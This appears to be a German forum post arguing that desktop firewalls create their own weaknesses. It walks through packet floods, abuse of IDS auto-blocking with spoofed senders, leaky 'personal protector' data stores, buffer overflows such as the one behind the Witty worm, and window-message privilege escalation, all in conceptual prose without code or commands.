- Manchmal ist es möglich, durch manipulierte Netzwerkanfragen an den zu schützenden Rechner die Desktopfirewall derart zu überlasten, dass sie nach der Attacke nicht mehr ordnungsgemäß funktioniert. Zumindest aber lässt sich für die Zeit der Attacke das komplette System in die Knie zwingen. Auf diese Weise ermöglicht die Firewallsoftware erst eine DoS-Attacke auf das zu schützende System.
So werden z.B. bei einem so genannten Stream-Angriff Datenpakte generiert, die nicht zu einer bestehenden Verbindung gehören. Um Portscanns zu entdecken, überprüft die Firewall ständig ob die Pakete zur bestehenden Verbindung gehören, was bei der Flut der Pakete eine Überlastung der Software zur Folge hat. Im ungünstigsten Fall kann sich dabei innerhalb von ein paar Minuten das Kernelmodul verabschieden, was die Firewall nach der Attacke wirkungslos macht.
LAN (Angriff aus dem internen Netz heraus): Diese Methode gehört zur Sicherheitskategorie 1
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 3 (ein Versuch die Desktopfirewall direkt zu attackieren scheitert an PAT der externen Firewall)
- Ein Personalprotektor lässt sich mit personenbezogenen Daten wie Namen, Adresse und Kreditkarteninfos füttern. Er soll verhindern, dass die angegebenen Einträge ins Netz übermittelt werden. Leider funktioniert dies nicht, wenn die Daten verschlüsselt sind, was in der Regel der Fall ist, wenn eine Malware die Daten ins Netz sendet. Ein fragwürdiger Schutz also, da die Firewall eine Sicherheit vortäuscht, die es effektiv nicht gibt.
Schlimmer noch: Alle geheimen Daten liegen so zentral an einer Stelle. Gelingt es einem Eindringling auf diese Daten zuzugreifen, so stehen ihm mit einem Schlag alle schützenswerten Informationen zur Verfügung. Nicht zuletzt lassen sich auch Attacken von außen auf Personalprotektoren vornehmen, welche z.B. über das Internet alle möglichen Zahlenkombinationen abfragen und so anhand der gesperrten Zahlen erkennen, welche PINs der Anwender im Personalprotektor hinterlegt hat, etc.
Im Klartext schafft der Personalprotektor hier zusätzliche Angriffspunkte, die es ohne ihn nicht gibt. Zudem kann er die Übermittlung schützenswerter Daten über das Netz nicht wirklich verhindern, schafft dafür aber eine Grundlage für zahlreiche, unbegründete Fehlermeldungen. Man kann also nur davon abraten, ihn zu verwenden.
Diese Methode gehört zur Sicherheitskategorie 1
- Einige Desktopfirewalls enthalten ein Intrution Detection System (IDS), welche manchmal auch den Netzwerkverkehr nach bekannten Angriffsmustern untersuchen. Sobald ein Angriff erkannt wird, kann die Firewall den Datenverkehr zwischen dem PC und dem Absender des Angriffs für eine gewisse Zeit unterbinden. Verheerend wirkt sich dieses Feature allerdings aus, wenn die Desktopfirewall keine Listen von Servern pflegt, die nicht gesperrt werden dürfen. Dann ermöglicht das IDS einem Angreifer eine effiziente DoS-Attacke, indem einfach Angriffsmuster mit veränderten Absenderadressen an den PC gesendet werden. So wird der PC in kürzester Zeit vom Netz abgetrennt, da er wichtige Netzwerkkomponenten wie ?default Gateway? und DNS-Server, sowie die Kommunikationspartner im eigenen Netzsegment stück für stück durch die Sperrung der Desktopfirewall verliert.
Diese Methode gehört zur Sicherheitskategorie 3 (ein Versuch die Desktopfirewall aus dem externen Netz heraus direkt zu attackieren scheitet an PAT der externen Firewall)
Genau wie bei allen anderen auf dem PC installierten Softwareprodukten auch, kann die Desktopfirewall fehlerhaft programmiert worden sein und somit ungewollt neue Angriffspunkte für den PC liefern. Da viele ihrer Komponenten mit erweiterten Rechten laufen (im so genannten Systemkontext) oder gar Kernelkomponenten installieren, wirken sich jedoch Programmier- und Designfehler hier besondern verheerend auf die Sicherheit und Stabilität des Systems aus.
- Ein Buffer-Overflow ist ein Fehler in einem Programm. Wenn ein Programmierer für eine bestimmte Aktion (Kopieren bzw. Einlesen von Daten, auch das Lesen von Benutzereingaben) einen zu kleinen Speicherbereich (Puffer) vorgesehen hat und nicht überprüft, ob die Eingabe auch in diesen passt, wird durch überlange Eingaben über den Puffer hinaus ein Teil des Programmspeichers überschrieben. Auf diese Weise kann beliebiger anderer Code im Kontext des Programms ausgeführt werden. Ein Programmcode, der den Programmierfehler ausnutzt, nennt man Exploit.
Wie schon erwähnt ist auch die Desktopfirewall eine Software, die solche Fehler aufweisen kann. Im ungünstigsten Fall erlangt der Angreifer durch den Exploit nicht nur erweiterte Rechte. Manchmal erhält er dadurch überhaupt erst Zugriff auf das System, wie es bei dem fehlerhaft programmierten PAM (Protocol Analysis Module) von BlackICE und RealSecure der Fall war. Der Fehler verhalf dem UDP-basierten Wurm ?Witty? zu seinem zweifelhaften Ruhm.
Lokal: Diese Methode gehört zur Sicherheitskategorie 1B (die externe Firewall kann gegen lokale Aktivitäten nichts unternehmen)
K2 (Internet->PC): Diese Methode gehört zur Sicherheitskategorie 3 (ein Versuch die Desktopfirewall aus dem externen Netz heraus direkt zu attackieren scheitet an PAT der externen Firewall)
- Wechselt eine Systemkomponente auf den Anwenderdesktop, um dort z.B. einen Dialog auszugeben, kann es einem Angreifer gelingen, dadurch erweiterte Rechte zu erlangen. Stark vereinfacht ausgedrückt läuft alles was Fensternachrichten empfängt potentiell Gefahr dazu missbraucht zu werden, fremden Code auszuführen. Zumindest aber kann der Thread zu Aktionen überredet werden, die der Programmierer so nicht vorgesehen hat. Deshalb warnt Microsoft davor, solche Designfehler zu begehen (ein Dienst sollte niemals auf den Anwenderdesktop wechseln). Ob das aus fahrlässiger Bequemlichkeit oder aus Unwissenheit heraus passiert, bleibt das Geheimnis des Programmierers. Fest steht, dass solche Designfehler immer mal wieder in Desktopfirewalls auftauchen.
Diese Methode gehört zur Sicherheitskategorie 1B. (die externe Firewall kann gegen lokale Aktivitäten nichts unternehmen)
Bye, nz